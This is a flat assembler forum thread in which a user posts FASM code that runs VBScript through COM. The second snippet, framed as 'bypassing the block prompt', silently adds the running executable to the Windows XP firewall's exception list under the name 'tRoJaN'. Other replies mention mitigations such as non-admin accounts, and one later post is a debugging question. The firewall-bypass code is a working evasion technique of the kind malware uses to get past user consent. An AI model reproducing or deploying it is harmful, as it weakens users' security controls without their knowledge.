flat assembler
Message board for the users of flat assembler.
![]() |
Author |
|
asmhack 18 Feb 2008, 19:47
example code:
Code: format pe gui 4.0 on 'nul' entry @@entry include 'win32a.inc' section '' import data code writable readable executable library kernel32,'kernel32',ole32,'ole32',user32,'user32' import kernel32,LocalAlloc,'LocalAlloc',LocalFree,'LocalFree',MultiByteToWideChar,'MultiByteToWideChar',WideCharToMultiByte,'WideCharToMultiByte' import ole32,CoInitialize,'CoInitialize',CoCreateInstance,'CoCreateInstance',IsEqualGUID,'IsEqualGUID' import user32,MessageBox,'MessageBoxA' include 'com.asm' @@entry: call @@StartScriptEngine vbscall 'randomize : v = cstr(int(rnd*100)+1)' stdcall [MessageBox],$0,eax,eax,$0 vbsfree vbscall 'set w = createobject("wscript.shell")' vbscall ':msgbox w.specialfolders("desktop"),,time' vbscall ':set w = nothing' xor esp,esp
|
|||||||||||
![]() |
|
asmhack 19 Feb 2008, 14:20
thanks mhajduk,
using this shit can be very usefull sometimes ![]() here is another example that adds your program to windows xp sp2 firewall exception list, bypassing by this way the block prompt... ![]() ![]() Code: format pe gui 4.0 on 'nul' entry @@entry include 'win32a.inc' section '' import data code writable readable executable library kernel32,'kernel32',user32,'user32',ole32,'ole32' include 'api/kernel32.inc' include 'api/user32.inc' import ole32,CoInitialize,'CoInitialize',CoCreateInstance,'CoCreateInstance',IsEqualGUID,'IsEqualGUID' include 'com.asm' xx1 db 'on error resume next',\ ':set f = createobject("hnetcfg.fwmgr")',\ ':set a = createobject("hnetcfg.fwauthorizedapplication")',\ ':set p = f.localpolicy.currentprofile',\ ':a.name = "tRoJaN"',\ ':a.processimagefilename="' filename rb $100 xx2 db '":a.enabled = 1',\ ':p.authorizedapplications.add a',$0 @@entry: call @@StartScriptEngine stdcall [GetModuleFileName],$0,filename,$FF stdcall [lstrcat],filename,xx2 stdcall @@RunScript,xx1 stdcall [ExitProcess],$0 |
|||
![]() |
|
MHajduk 19 Feb 2008, 15:03
Well, well...
![]() This could be another reason why we should use other, third-party, firewalls. ![]() |
|||
![]() |
|
f0dder 19 Feb 2008, 16:16
MHajduk wrote: Well, well... Or just run from non-admin user accounts, duh. ![]() Pretty lame going through vbscript just to set a firewall exception, but I guess it's easier than learning how to deal with the COM objects for doing so. ![]() _________________ ![]() |
|||
![]() |
|
Picnic 09 Mar 2008, 21:57
Hey that's nice, thanks for the download asmhack.
|
|||
![]() |
|
bitRAKE 10 Mar 2008, 00:57
I like your style - lots of good snippets lately.
_________________ ¯\(°_o)/¯ “languages are not safe - uses can be” Bjarne Stroustrup |
|||
![]() |
|
Xekep 28 Sep 2014, 14:56
help me please
![]() Code: call @@StartScriptEngine vbscall 'randomize : v = cstr(int(rnd*100)+1)' stdcall [MessageBox],$0,eax,eax,$0 register eax after executing vbscall always is 0 windows 8 x64 ![]() |
|||
![]() |
|
comrade 29 Sep 2014, 08:16
What is 'vbscall' ?
|
|||
![]() |
|
smiddy 29 Sep 2014, 09:48
Visual Basic Script? Call...
|
|||
![]() |
|
< Last Thread | Next Thread > |
Forum Rules:
|
Copyright © 1999-2023, Tomasz Grysztar. Also on GitHub, YouTube.
Website powered by rwasa.